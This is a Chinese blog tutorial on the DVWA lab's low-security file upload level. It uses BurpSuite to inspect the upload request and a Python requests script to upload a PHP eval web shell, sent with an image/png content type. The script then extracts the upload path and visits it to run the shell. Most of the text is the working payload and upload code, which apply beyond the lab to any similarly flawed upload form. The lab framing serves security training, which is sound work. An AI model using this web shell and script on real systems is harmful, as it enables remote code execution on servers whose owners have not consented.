requests模拟文件上传

DVWA靶场的文件上传关卡,初级

先上传文件,使用BurpSuite抓取数据包

image-20230920170145559

POST请求的数据包发送到Repeater模块

分析使用Python的requests模块发送请求需要携带哪些参数

也可以打开F12,点击Network查看需要携带哪些请求体参数

image-20230920170446495

image-20230920170533509

image-20230920170700134

image-20230920170803298

请求头:

"Cookie":"security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"

请求体:

"MAX_FILE_SIZE": "100000"
"uploaded": "(binary)"
"Upload": "Upload"

上传的文件数据可以在BurpSuite抓取到的数据包中查看

image-20230920171052155

发现请求体中的uploaded参数的值 "(binary)"里面的二进制数据就应该是BurpSuite中的文件名,文件内容,文件类型

文件内容:

"uploaded":('1.php','<?php @eval($_REQUEST[6868]);phpinfo();?>','image/png')

上传的文件需要在requests.postfiles参数里

实现代码:

import requests
from bs4 import BeautifulSoup

url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'

headers = {
    "User-Agent": "",
    "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
    "MAX_FILE_SIZE": "100000",
    "Upload": "Upload"
}

files = {
    "uploaded": ('2.php', '<?php @eval($_REQUEST[6868]);phpinfo();?>', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)

# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path)                     #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path)  #http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/../../hackable/uploads/2.php

文件上传成功!

image-20230920173552668

得到上传路径!

image-20230920172902342

访问链接,触发php探针

image-20230920172735825

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值